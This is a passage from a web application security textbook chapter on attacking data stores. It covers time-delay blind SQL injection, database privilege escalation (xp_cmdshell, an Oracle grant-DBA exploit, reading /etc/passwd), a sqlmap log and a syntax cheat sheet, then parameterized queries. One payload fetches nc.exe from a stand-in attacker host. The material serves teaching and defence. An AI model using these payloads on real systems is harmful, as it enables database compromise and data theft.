if ASCII(SUBSTRING(‘Admin’,1,1)) = 64 waitfor delay ‘0:0:5’ if ASCII(SUBSTRING(‘Admin’,1,1)) = 65 waitfor delay ‘0:0:5’ As before, the attacker can cycle through all possible values for each character until a time delay occurs. Alternatively, the attack could be made more effi cient by reducing the number of requests needed. An additional technique is to break each byte of data into individual bits and retrieve each bit in a single query. The POWER command and the bitwise AND operator & can be used to specify condi- tions on a bit-by-bit basis. For example, the following query tests the fi rst bit of the fi rst byte of the captured data and pauses if it is 1: if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,0))) > 0 waitfor delay ‘0:0:5’ The following query performs the same test on the second bit: if (ASCII(SUBSTRING(‘Admin’,1,1)) & (POWER(2,1))) > 0 waitfor delay ‘0:0:5’ As mentioned earlier, the means of inducing a time delay are highly database- dependent. In current versions of MySQL, the sleep function can be used to create a time delay for a specifi ed number of milliseconds: select if(user() like ‘root@%’, sleep(5000), ‘false’) In versions of MySQL prior to 5.0.12, the sleep function cannot be used. An alternative is the benchmark function, which can be used to perform a specifi ed action repeatedly. Instructing the database to perform a processor-intensive action, such as a SHA-1 hash, many times will result in a measurable time delay. For example: select if(user() like ‘root@%’, benchmark(50000,sha1(‘test’)), ‘false’) In PostgreSQL, the PG_SLEEP function can be used in the same way as the MySQL sleep function. Oracle has no built-in method to perform a time delay, but you can use other tricks to cause a time delay to occur. One trick is to use UTL_HTTP to c09.indd 323c09.indd 323 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 324 324 Chapter 9 Attacking Data Stores connect to a nonexistent server, causing a timeout. This causes the database to attempt to connect to the specifi ed server and eventually time out. For example: SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) from dual ...delay... ORA-29273: HTTP request failed ORA-06512: at “SYS.UTL_HTTP”, line 1556 ORA-12545: Connect failed because target host or object does not exist You can leverage this behavior to cause a time delay contingent on some condition that you specify. For example, the following query causes a timeout if the default Oracle account DBSNMP exists: SELECT ‘a’||Utl_Http.request(‘http://madeupserver.com’) FROM dual WHERE (SELECT username FROM all_users WHERE username = ‘DBSNMP’) = ‘DBSNMP’ In both Oracle and MySQL databases, you can use the SUBSTR(ING)and ASCII functions to retrieve arbitrary information one byte at a time, as described previously. TIP We have described the use of time delays as a means of extracting interesting information. However, the time-delay technique can also be immensely useful when performing initial probing of an application to detect SQL injection vulnerabilities. In some cases of completely blind SQL injection, where no results are returned to the browser and all errors are handled invisibly, the vulnerability itself may be hard to detect using standard techniques based on supplying crafted input. In this situation, using time delays is often the most reliable way to detect the presence of a vulnerability during initial probing. For example, if the back-end database is MS-SQL, you can inject each of the following strings into each request parameter in turn and monitor how long the application takes to identify any vulnerabilities: ‘; waitfor delay ‘0:30:0’-- 1; waitfor delay ‘0:30:0’-- TRY IT! This lab example contains a SQL injection vulnerability with no error feed- back. You can use it to practice various advanced techniques, including the use of conditional responses and time delays. http://mdsec.net/addressbook/44/ c09.indd 324c09.indd 324 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 325 Chapter 9 Attacking Data Stores 325 Beyond SQL Injection: Escalating the Database Attack A successful exploit of a SQL injection vulnerability often results in total com- promise of all application data. Most applications employ a single account for all database access and rely on application-layer controls to enforce segregation of access between different users. Gaining unrestricted use of the application’s database account results in access to all its data. You may suppose, therefore, that owning all the application’s data is the fi nishing point of a SQL injection attack. However, there are many reasons why it might be productive to advance your attack further, either by exploiting a vulnerability within the database itself or by harnessing some of its built-in functionality to achieve your objectives. Further attacks that can be performed by escalating the database attack include the following: If the database is shared with other applications, you may be able to escalate privileges within the database and gain access to other applications’ data. You may be able to compromise the operating system of the database server. You may be able to gain network access to other systems. Typically, the database server is hosted on a protected network behind several layers of network perimeter defenses. From the database server, you may be in a trusted position and be able to reach key services on other hosts, which may be further exploitable. You may be able to make network connections back out of the hosting infrastructure to your own computer. This may enable you to bypass the application, easily transmitting large amounts of sensitive data gathered from the database, and often evading many intrusion detection systems. You may be able to extend the database’s existing functionality in arbitrary ways by creating user-defi ned functions. In some situations, this may enable you to circumvent hardening that has been performed on the database by effectively reimplementing functionality that has been removed or disabled. There is a method for doing this in each of the mainstream databases, provided that you have gained database administrator (DBA) privileges. COMMON MYTH Many database administrators assume that it is unnecessary to defend the data- base against attacks that require authentication to exploit. They may reason that the database is accessed by only a trusted application that is owned by the same organization. This ignores the possibility that a fl aw within the applica- tion may enable a malicious third party to interact with the database within the application’s security context. Each of the possible attacks just described should illustrate why databases need to be defended against authenticated attackers. c09.indd 325c09.indd 325 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 326 326 Chapter 9 Attacking Data Stores Attacking databases is a huge topic that is beyond the scope of this book. This section points you toward a few key ways in which vulnerabilities and function- ality within the main database types can be leveraged to escalate your attack. The key conclusion to draw is that every database contains ways to escalate privileges. Applying current security patches and robust hardening can help mitigate many of these attacks, but not all of them. For further reading on this highly fruitful area of current research, we recommend The Database Hacker’s Handbook (Wiley, 2005). MS-SQL Perhaps the most notorious piece of database functionality that an attacker can misuse is the xp_cmdshell stored procedure, which is built into MS-SQL by default. This stored procedure allows users with DBA permissions to execute operating system commands in the same way as the cmd.exe command prompt. For example: master..xp_cmdshell ‘ipconfig > foo.txt’ The opportunity for an attacker to misuse this functionality is huge. He can perform arbitrary commands, pipe the results to local fi les, and read them back. He can open out-of-band network connections back to himself and create a backdoor command and communications channel, copying data from the server and uploading attack tools. Because MS-SQL runs by default as LocalSystem, the attacker typically can fully compromise the underlying operating system, performing arbitrary actions. MS-SQL contains a wealth of other extended stored procedures, such as xp_regread and xp_regwrite, that can be used to perform powerful actions within the registry of the Windows operating system. Dealing with Default Lockdown Most installations of MS-SQL encountered on the Internet will be MS-SQL 2005 or later. These versions contain numerous security features that lock down the database by default, preventing many useful attack techniques from working. However, if the web application’s user account within the database is suf- fi ciently high-privileged, it is possible to overcome these obstacles simply by reconfi guring the database. For example, if xp_cmdshell is disabled, it can be re-enabled with the sp_configure stored procedure. The following four lines of SQL do this: EXECUTE sp_configure ‘show advanced options’, 1 RECONFIGURE WITH OVERRIDE EXECUTE sp_configure ‘xp_cmdshell’, ‘1’ RECONFIGURE WITH OVERRIDE c09.indd 326c09.indd 326 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 327 Chapter 9 Attacking Data Stores 327 At this point, xp_cmdshell is re-enabled and can be run with the usual command: exec xp_cmdshell ‘dir’ Oracle A huge number of security vulnerabilities have been found within the Oracle database software itself. If you have found a SQL injection vulnerability that enables you to perform arbitrary queries, typically you can escalate to DBA privileges by exploiting one of these vulnerabilities. Oracle contains many built-in stored procedures that execute with DBA privi- leges and have been found to contain SQL injection fl aws within the procedures themselves. A typical example of such a fl aw existed in the default package SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES prior to the July 2006 critical patch update. This can be exploited to escalate privileges by injecting the query grant DBA to public into the vulnerable fi eld: select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(‘INDX’,’SCH’, ‘TEXTINDEXMETHODS”.ODCIIndexUtilCleanup(:p1); execute immediate ‘’declare pragma autonomous_transaction; begin execute immediate ‘’’’grant dba to public’’’’ ; end;’’; END;--’,’CTXSYS’,1,’1’,0) from dual This type of attack could be delivered via a SQL injection fl aw in a web appli- cation by injecting the function into the vulnerable parameter. In addition to actual vulnerabilities like these, Oracle also contains a large amount of default functionality. It is accessible by low-privileged users and can be used to perform undesirable actions, such as initiating network connec- tions or accessing the fi lesystem. In addition to the powerful packages already described for creating out-of-band connections, the package UTL_FILE can be used to read from and write to fi les on the database server fi lesystem. In 2010, David Litchfi eld demonstrated how Java can be abused in Oracle 10g R2 and 11g to execute operating system commands. This attack fi rst exploits a fl aw in DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY to grant the current user the permission java.io.filepermission. The attack then executes a Java class (oracle/aurora/util/Wrapper) that runs an OS command, using DBMS_JAVA. RUNJAVA. For example: DBMS_JAVA.RUNJAVA(‘oracle/aurora/util/Wrapper c:\\windows\\system32\\ cmd.exe /c dir>c:\\OUT.LST’) More details can be found here: www.databasesecurity.com/HackingAurora.pdf www.notsosecure.com/folder2/2010/08/02/blackhat-2010/ c09.indd 327c09.indd 327 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 328 328 Chapter 9 Attacking Data Stores MySQL Compared to the other databases covered, MySQL contains relatively little built-in functionality that an attacker can misuse. One example is the ability of any user with the FILE_PRIV permission to read and write to the fi lesystem. The LOAD_FILE command can be used to retrieve the contents of any fi le. For example: select load_file(‘/etc/passwd’) The SELECT ... INTO OUTFILE command can be used to pipe the results of any query into a fi le. For example: create table test (a varchar(200)) insert into test(a) values (‘+ +’) select * from test into outfile ‘/etc/hosts.equiv’ In addition to reading and writing key operating system fi les, this capability can be used to perform other attacks: Because MySQL stores its data in plaintext fi les, to which the database must have read access, an attacker with FILE_PRIV permissions can simply open the relevant fi le and read arbitrary data from within the database, bypassing any access controls enforced within the database itself. MySQL enables users to create user-defi ned functions (UDFs) by calling out to a compiled library fi le that contains the function’s implementation. This fi le must be located within the normal path from which MySQL loads dynamic libraries. An attacker can use the preceding method to create an arbitrary binary fi le within this path and then create a UDF that uses it. Refer to Chris Anley’s paper “Hackproofi ng MySQL” for more details on this technique. Using SQL Exploitation Tools Many of the techniques we have described for exploiting SQL injection vulner- abilities involve performing large numbers of requests to extract small amounts of data at a time. Fortunately, numerous tools are available that automate much of this process and that are aware of the database-specifi c syntax required to deliver successful attacks. Most of the currently available tools use the following approach to exploit SQL injection vulnerabilities: Brute-force all parameters in the target request to locate SQL injection points. c09.indd 328c09.indd 328 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 329 Chapter 9 Attacking Data Stores 329 Determine the location of the vulnerable fi eld within the back-end SQL query by appending various characters such as closing brackets, comment characters, and SQL keywords. Attempt to perform a UNION attack by brute-forcing the number of required columns and then identifying a column with the varchar data type, which can be used to return results. Inject custom queries to retrieve arbitrary data — if necessary, concate- nating data from multiple columns into a string that can be retrieved through a single result of the varchar data type. If results cannot be retrieved using UNION, inject Boolean conditions (AND 1=1, AND 1=2, and so on) into the query to determine whether conditional responses can be used to retrieve data. If results cannot be retrieved by injecting conditional expressions, try using conditional time delays to retrieve data. These tools locate data by querying the relevant metadata tables for the data- base in question. Generally they can perform some level of escalation, such as using xp_cmdshell to gain OS-level access. They also use various optimization techniques, making use of the many features and built-in functions in the various databases to decrease the number of necessary queries in an inference-based brute-force attack, evade potential fi lters on single quotes, and more. NOTE These tools are primarily exploitation tools, best suited to extracting data from the database by exploiting an injection point that you have already identifi ed and understood. They are not a magic bullet for fi nding and exploit- ing SQL injection fl aws. In practice, it is often necessary to provide some additional SQL syntax before and/or after the data injected by the tool for the tool’s hard-coded attacks to work. HACK STEPS When you have identifi ed a SQL injection vulnerability, using the techniques described earlier in this chapter, you can consider using a SQL injection tool to exploit the vulnerability and retrieve interesting data from the database. This option is particularly useful in cases where you need to use blind techniques to retrieve a small amount of data at a time. 1. Run the SQL exploitation tool using an intercepting proxy. Analyze the requests made by the tool as well as the application’s responses. Turn on any verbose output options on the tool, and correlate its progress with the observed queries and responses. Continued c09.indd 329c09.indd 329 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 330 330 Chapter 9 Attacking Data Stores 2. Because these kinds of tools rely on preset tests and specific response syntax, it may be necessary to append or prepend data to the string injected by the tool to ensure that the tool gets the expected response. Typical requirements are adding a comment character, balancing the single quotes within the server’s SQL query, and appending or prepending closing brackets to the string to match the original query. 3. If the syntax appears to be failing regardless of the methods described here, it is often easiest to create a nested subquery that is fully under your control, and allow the tool to inject into that. This allows the tool to use inference to extract data. Nested queries work well when you inject into standard SELECT and UPDATE queries. Under Oracle they work within an INSERT statement. In each of the following cases, prepend the text occurring before [input], and append the closing bracket occurring after that point: Oracle: ‘||(select 1 from dual where 1=[input]) MS-SQL: (select 1 where 1=[input]) Numerous tools exist for automated exploitation of SQL injection. Many of these are specifi cally geared toward MS-SQL, and many have ceased active development and have been overtaken by new techniques and developments in SQL injection. The authors’ favorite is sqlmap, which can attack MySQL, Oracle, and MS-SQL, among others. It implements UNION-based and inference-based retrieval. It supports various escalation methods, including retrieval of fi les from the operating system, and command execution under Windows using xp_cmdshell. In practice, sqlmap is an effective tool for database information retrieval through time-delay or other inference methods and can be useful for UNION- based retrieval. One of the best ways to use it is with the --sql-shell option. This gives the attacker a SQL prompt and performs the necessary UNION, error- based, or blind SQL injection behind the scenes to send and retrieve results. For example: C:\sqlmap>sqlmap.py -u http://wahh-app.com/employees?Empno=7369 --union-use --sql-shell -p Empno sqlmap/0.8 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net [*] starting at: 14:54:39 [14:54:39] [INFO] using ‘C:\sqlmap\output\wahh-app.com\session’ as session file [14:54:39] [INFO] testing connection to the target url [14:54:40] [WARNING] the testable parameter ‘Empno’ you provided is not HACK STEPS (CONTINUED) c09.indd 330c09.indd 330 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 331 Chapter 9 Attacking Data Stores 331 into the Cookie [14:54:40] [INFO] testing if the url is stable, wait a few seconds [14:54:44] [INFO] url is stable [14:54:44] [INFO] testing sql injection on GET parameter ‘Empno’ with 0 parenthesis [14:54:44] [INFO] testing unescaped numeric injection on GET parameter ‘Empno’ [14:54:46] [INFO] confirming unescaped numeric injection on GET parameter ‘Empno’ [14:54:47] [INFO] GET parameter ‘Empno’ is unescaped numeric injectable with 0 parenthesis [14:54:47] [INFO] testing for parenthesis on injectable parameter [14:54:50] [INFO] the injectable parameter requires 0 parenthesis [14:54:50] [INFO] testing MySQL [14:54:51] [WARNING] the back-end DMBS is not MySQL [14:54:51] [INFO] testing Oracle [14:54:52] [INFO] confirming Oracle [14:54:53] [INFO] the back-end DBMS is Oracle web server operating system: Windows 2000 web application technology: ASP, Microsoft IIS 5.0 back-end DBMS: Oracle [14:54:53] [INFO] testing inband sql injection on parameter ‘Empno’ with NULL bruteforcing technique [14:54:58] [INFO] confirming full inband sql injection on parameter ‘Empno’ [14:55:00] [INFO] the target url is affected by an exploitable full inband sql injection vulnerability valid union: ‘http://wahh-app.com:80/employees.asp?Empno=7369%20 UNION%20ALL%20SEL ECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%20FROM%20DUAL--%20AND%20 3663=3663’ [14:55:00] [INFO] calling Oracle shell. To quit type ‘x’ or ‘q’ and press ENTER sql-shell> select banner from v$version do you want to retrieve the SQL statement output? [Y/n] [14:55:19] [INFO] fetching SQL SELECT statement query output: ‘select banner from v$version’ select banner from v$version [5]: [*] CORE 9.2.0.1.0 Production [*] NLSRTL Version 9.2.0.1.0 - Production [*] Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production [*] PL/SQL Release 9.2.0.1.0 - Production [*] TNS for 32-bit Windows: Version 9.2.0.1.0 - Production sql-shell> c09.indd 331c09.indd 331 8/19/2011 12:09:32 PM8/19/2011 12:09:32 PMStuttard c09.indd V3 - 07/28/2011 Page 332 332 Chapter 9 Attacking Data Stores SQL Syntax and Error Reference We have described numerous techniques that enable you to probe for and exploit SQL injection vulnerabilities in web applications. In many cases, there are minor differences between the syntax that you need to employ against different back-end database platforms. Furthermore, every database produces different error messages whose meaning you need to understand both when probing for fl aws and when attempting to craft an effective exploit. The fol- lowing pages contain a brief cheat sheet that you can use to look up the exact syntax you need for a particular task and to decipher any unfamiliar error messages you encounter. SQL Syntax Requirement: ASCII and SUBSTRING Oracle: ASCII(‘A’) is equal to 65 SUBSTR(‘ABCDE’,2,3) is equal to BCD MS-SQL: ASCII(‘A’) is equal to 65 SUBSTRING(‘ABCDE’,2,3) is equal to BCD MySQL: ASCII(‘A’) is equal to 65 SUBSTRING(‘ABCDE’,2,3) is equal to BCD Requirement: Retrieve current database user Oracle: Select Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT(‘USERENV’, ‘SESSION_USER’) MS-SQL: select suser_sname() MySQL: SELECT user() Requirement: Cause a time delay Oracle: Utl_Http.request(‘http://madeupserver.com’) MS-SQL: waitfor delay ‘0:0:10’ exec master..xp_cmdshell ‘ping localhost’ MySQL: sleep(100) c09.indd 332c09.indd 332 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 333 Chapter 9 Attacking Data Stores 333 Requirement: Retrieve database version string Oracle: select banner from v$version MS-SQL: select @@version MySQL: select @@version Requirement: Retrieve current database Oracle: SELECT SYS_CONTEXT(‘USERENV’,’DB_NAME’) FROM dual MS-SQL: SELECT db_name() The server name can be retrieved using: SELECT @@servername MySQL: SELECT database() Requirement: Retrieve current user’s privilege Oracle: SELECT privilege FROM session_privs MS-SQL: SELECT grantee, table_name, privilege_type FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES MySQL: SELECT * FROM information_schema.user_privileges WHERE grantee = ‘[user]’ where [user] is determined from the output of SELECT user() Requirement: Show all tables and columns in a single column of results Oracle: Select table_name||’ ‘||column_name from all_tab_columns MS-SQL: SELECT table_name+’ ‘+column_name from information_schema.columns MySQL: SELECT CONCAT(table_name, ‘,column_name) from information_schema.columns Requirement: Show user objects Oracle: SELECT object_name, object_type FROM user_objects MS-SQL: SELECT name FROM sysobjects MySQL: SELECT table_name FROM information_schema.tables (or trigger_name from information_schema.triggers, etc.) Continued c09.indd 333c09.indd 333 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 334 334 Chapter 9 Attacking Data Stores Requirement: Show user tables Oracle: SELECT object_name, object_type FROM user_objects WHERE object_type=’TABLE’ Or to show all tables to which the user has access: SELECT table_name FROM all_tables MS-SQL: SELECT name FROM sysobjects WHERE xtype=’U’ MySQL: SELECT table_name FROM information_schema. tables where table_type=’BASE TABLE’ and table_schema!=’mysql’ Requirement: Show column names for table foo Oracle: SELECT column_name, name FROM user_tab_columns WHERE table_name = ‘FOO’ Use the ALL_tab_columns table if the target data is not owned by the current application user. MS-SQL: SELECT column_name FROM information_schema.columns WHERE table_name=’foo’ MySQL: SELECT column_name FROM information_schema.columns WHERE table_name=’foo’ Requirement: Interact with the operating system (simplest ways) Oracle: See The Oracle Hacker’s Handbook by David Litchfi eld MS-SQL: EXEC xp_cmshell ‘dir c:\ ‘ MySQL: SELECT load_file(‘/etc/passwd’) SQL Error Messages Oracle: ORA-01756: quoted string not properly terminated ORA-00933: SQL command not properly ended MS-SQL: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near ‘foo’ Msg 105, Level 15, State 1, Line 1 Unclosed quotation mark before the character string ‘foo’ (continued) c09.indd 334c09.indd 334 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 335 Chapter 9 Attacking Data Stores 335 MySQL: You have an error in your SQL syntax. Check the man- ual that corresponds to your MySQL server version for the right syntax to use near ‘’foo’ at line X Translation: For Oracle and MS-SQL, SQL injection is present, and it is almost certainly exploitable! If you entered a single quote and it altered the syntax of the database query, this is the error you’d expect. For MySQL, SQL injection may be present, but the same error message can appear in other contexts. Oracle: PLS-00306: wrong number or types of arguments in call to ‘XXX’ MS-SQL: Procedure ‘XXX’ expects parameter ‘@YYY’, which was not supplied MySQL: N/A Translation: You have commented out or removed a variable that normally would be supplied to the database. In MS-SQL, you should be able to use time delay techniques to perform arbitrary data retrieval. Oracle: ORA-01789: query block has incorrect number of result columns MS-SQL: Msg 205, Level 16, State 1, Line 1 All queries in a SQL statement containing a UNION operator must have an equal number of expressions in their target lists. MySQL: The used SELECT statements have a different number of columns Translation: You will see this when you are attempting a UNION SELECT attack, and you have specifi ed a different number of columns to the number in the original SELECT statement. Oracle: ORA-01790: expression must have same datatype as corresponding expression MS-SQL: Msg 245, Level 16, State 1, Line 1 Syntax error converting the varchar value ‘foo’ to a column of data type int. MySQL: (MySQL will not give you an error.) Translation: You will see this when you are attempting a UNION SELECT attack, and you have specifi ed a different data type from that found in the original SELECT statement. Try using a NULL, or using 1 or 2000. Continued c09.indd 335c09.indd 335 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 336 336 Chapter 9 Attacking Data Stores Oracle: ORA-01722: invalid number ORA-01858: a non-numeric character was found where a numeric was expected MS-SQL: Msg 245, Level 16, State 1, Line 1 Syntax error converting the varchar value ‘foo’ to a column of data type int. MySQL: (MySQL will not give you an error.) Translation: Your input doesn’t match the expected data type for the fi eld. You may have SQL injection, and you may not need a single quote, so try simply entering a number followed by your SQL to be injected. In MS-SQL, you should be able to return any string value with this error message. Oracle: ORA-00923: FROM keyword not found where expected MS-SQL: N/A MySQL: N/A Translation: The following will work in MS-SQL: SELECT 1 But in Oracle, if you want to return something, you must select from a table. The DUAL table will do fi ne: SELECT 1 from DUAL Oracle: ORA-00936: missing expression MS-SQL: Msg 156, Level 15, State 1, Line 1Incorrect syntax near the keyword ‘from’. MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ‘ XXX , YYY from SOME_TABLE’ at line 1 Translation: You commonly see this error message when your injection point occurs before the FROM keyword (for example, you have injected into the columns to be returned) and/or you have used the com- ment character to remove required SQL keywords. Try completing the SQL statement yourself while using your comment character. MySQL should helpfully reveal the column names XXX, YYY when this condi- tion is encountered. (continued) c09.indd 336c09.indd 336 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 337 Chapter 9 Attacking Data Stores 337 Oracle: ORA-00972:identifier is too long MS-SQL: String or binary data would be truncated. MySQL: N/A Translation: This does not indicate SQL injection. You may see this error message if you have entered a long string. You’re unlikely to get a buffer over- fl ow here either, because the database is handling your input safely. Oracle: ORA-00942: table or view does not exist MS-SQL: Msg 208, Level 16, State 1, Line 1 Invalid object name ‘foo’ MySQL: Table ‘DBNAME.SOMETABLE’ doesn’t exist Translation: Either you are trying to access a table or view that does not exist, or, in the case of Oracle, the database user does not have privileges for the table or view. Test your query against a table you know you have access to, such as DUAL. MySQL should helpfully reveal the current database schema DBNAME when this condition is encountered. Oracle: ORA-00920: invalid relational operator MS-SQL: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near foo MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ at line 1 Translation: You were probably altering something in a WHERE clause, and your SQL injection attempt has disrupted the grammar. Oracle: ORA-00907: missing right parenthesis MS-SQL: N/A MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ at line 1 Translation: Your SQL injection attempt has worked, but the injection point was inside parentheses. You probably commented out the closing paren- thesis with injected comment characters (--). Continued c09.indd 337c09.indd 337 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 338 338 Chapter 9 Attacking Data Stores Oracle: ORA-00900: invalid SQL statement MS-SQL: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near foo MySQL: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near XXXXXX Translation: A general error message. The error messages listed previously all take precedence, so something else went wrong. It’s likely you can try alternative input and get a more meaningful message. Oracle: ORA-03001: unimplemented feature MS-SQL: N/A MySQL: N/A Translation: You have tried to perform an action that Oracle does not allow. This can happen if you were trying to display the database version string from v$version but you were in an UPDATE or INSERT query. Oracle: ORA-02030: can only select from fixed tables/views MS-SQL: N/A MySQL: N/A Translation: You were probably trying to edit a SYSTEM view. This can hap- pen if you were trying to display the database version string from v$version but you were in an UPDATE or INSERT query. Preventing SQL Injection Despite all its different manifestations, and the complexities that can arise in its exploitation, SQL injection is in general one of the easier vulnerabilities to prevent. Nevertheless, discussion about SQL injection countermeasures is frequently mislead- ing, and many people rely on defensive measures that are only partially effective. Partially Effective Measures Because of the prominence of the single quotation mark in the standard expla- nations of SQL injection fl aws, a common approach to preventing attacks is to escape any single quotation marks within user input by doubling them. You have already seen two situations in which this approach fails: If numeric user-supplied data is being embedded into SQL queries, this is not usually encapsulated within single quotation marks. Hence, an (continued) c09.indd 338c09.indd 338 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 339 Chapter 9 Attacking Data Stores 339 attacker can break out of the data context and begin entering arbitrary SQL without the need to supply a single quotation mark. In second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that were doubled initially return to their original form when the data is reused. Another countermeasure that is often cited is the use of stored procedures for all database access. There is no doubt that custom stored procedures can provide security and performance benefi ts. However, they are not guaranteed to prevent SQL injection vulnerabilities for two reasons: As you saw in the case of Oracle, a poorly written stored procedure can contain SQL injection vulnerabilities within its own code. Similar security issues arise when constructing SQL statements within stored procedures as arise elsewhere. The fact that a stored procedure is being used does not prevent fl aws from occurring. Even if a robust stored procedure is being used, SQL injection vulnerabili- ties can arise if it is invoked in an unsafe way using user-supplied input. For example, suppose that a user registration function is implemented within a stored procedure, which is invoked as follows: exec sp_RegisterUser ‘joe’, ‘secret’ This statement may be just as vulnerable as a simple INSERT statement. For example, an attacker may supply the following password: foo’; exec master..xp_cmdshell ‘tftp wahh-attacker.com GET nc.exe’-- which causes the application to perform the following batch query: exec sp_RegisterUser ‘joe’, ‘foo’; exec master..xp_cmdshell ‘tftp wahh-attacker.com GET nc.exe’--’ Therefore, the use of the stored procedure has achieved nothing. In fact, in a large and complex application that performs thousands of different SQL statements, many developers regard the solution of reimplementing these state- ments as stored procedures to be an unjustifi able overhead on development time. Parameterized Queries Most databases and application development platforms provide APIs for handling untrusted input in a secure way, which prevents SQL injection vulnerabilities from arising. In parameterized queries (also known as prepared statements), the construction of a SQL statement containing user input is performed in two steps: 1. The application specifi es the query’s structure, leaving placeholders for each item of user input. 2. The application specifi es the contents of each placeholder. c09.indd 339c09.indd 339 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 340 340 Chapter 9 Attacking Data Stores Crucially, there is no way in which crafted data that is specifi ed at the second step can interfere with the structure of the query specifi ed in the fi rst step. Because the query structure has already been defi ned, the relevant API handles any type of placeholder data in a safe manner, so it is always interpreted as data rather than part of the statement’s structure. The following two code samples illustrate the difference between an unsafe query dynamically constructed from user data and its safe parameterized coun- terpart. In the fi rst, the user-supplied name parameter is embedded directly into a SQL statement, leaving the application vulnerable to SQL injection: //define the query structure String queryText = “select ename,sal from emp where ename =’”; //concatenate the user-supplied name queryText += request.getParameter(“name”); queryText += “’”; // execute the query stmt = con.createStatement(); rs = stmt.executeQuery(queryText); In the second example, the query structure is defi ned using a question mark as a placeholder for the user-supplied parameter. The prepareStatement method is invoked to interpret this and fi x the structure of the query that is to be executed. Only then is the setString method used to specify the parameter’s actual value. Because the query’s structure has already been fi xed, this value can contain any data without affecting the structure. The query is then executed safely: //define the query structure String queryText = “SELECT ename,sal FROM EMP WHERE ename = ?”; //prepare the statement through DB connection “con” stmt = con.prepareStatement(queryText); //add the user input to variable 1 (at the first ? placeholder) stmt.setString(1, request.getParameter(“name”)); // execute the query rs = stmt.executeQuery(); NOTE The precise methods and syntax for creating parameterized queries dif- fer among databases and application development platforms. See Chapter 18 for more details about the most common examples. c09.indd 340c09.indd 340 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 341 Chapter 9 Attacking Data Stores 341 If parameterized queries are to be an effective solution against SQL injection, you need to keep in mind several important provisos: They should be used for every database query. The authors have encoun- tered many applications where the developers made a judgment in each case about whether to use a parameterized query. In cases where user- supplied input was clearly being used, they did so; otherwise, they didn’t bother. This approach has been the cause of many SQL injection fl aws. First, by focusing only on input that has been immediately received from the user, it is easy to overlook second-order attacks, because data that has already been processed is assumed to be trusted. Second, it is easy to make mistakes about the specifi c cases in which the data being handled is user-controllable. In a large application, different items of data are held within the session or received from the client. Assumptions made by one developer may not be communicated to others. The handling of specifi c data items may change in the future, introducing a SQL injection fl aw into previously safe queries. It is much safer to take the approach of mandating the use of parameterized queries throughout the application. Every item of data inserted into the query should be properly para meterized. The authors have encountered numerous cases where most of a query’s parameters are handled safely, but one or two items are concatenated directly into the string used to specify the query structure. The use of parameterized queries will not prevent SQL injection if some parameters are handled in this way. Parameter placeholders cannot be used to specify the table and column names used in the query. In some rare cases, applications need to specify these items within a SQL query on the basis of user-supplied data. In this situation, the best approach is to use a white list of known good values (the list of tables and columns actually used within the database) and to reject any input that does not match an item on this list. Failing this, strict validation should be enforced on the user input — for example, allow- ing only alphanumeric characters, excluding whitespace, and enforcing a suitable length limit. Parameter placeholders cannot be used for any other parts of the query, such as the ASC or DESC keywords that appear within an ORDER BY clause, or any other SQL keyword, since these form part of the query structure. As with table and column names, if it is necessary for these items to be specifi ed based on user-supplied data, rigorous white list validation should be applied to prevent attacks. c09.indd 341c09.indd 341 8/19/2011 12:09:33 PM8/19/2011 12:09:33 PMStuttard c09.indd V3 - 07/28/2011 Page 342 342 Chapter 9 Attacking Data Stores Defense in Depth As always, a robust approach to security should employ defense-in-depth measures to provide additional protection in the event that frontline defenses fail for any reason. In the context of attacks against back-end databases, three layers of further defense can be employed: The application should use the lowest possible level of privileges when accessing the database. In general, the application does not need DBA- level permissions. It usually only needs to read and write its own data. In security-critical situations, the application may employ a different database account for performing different actions. For example, if 90 percent of its database queries require only read access, these 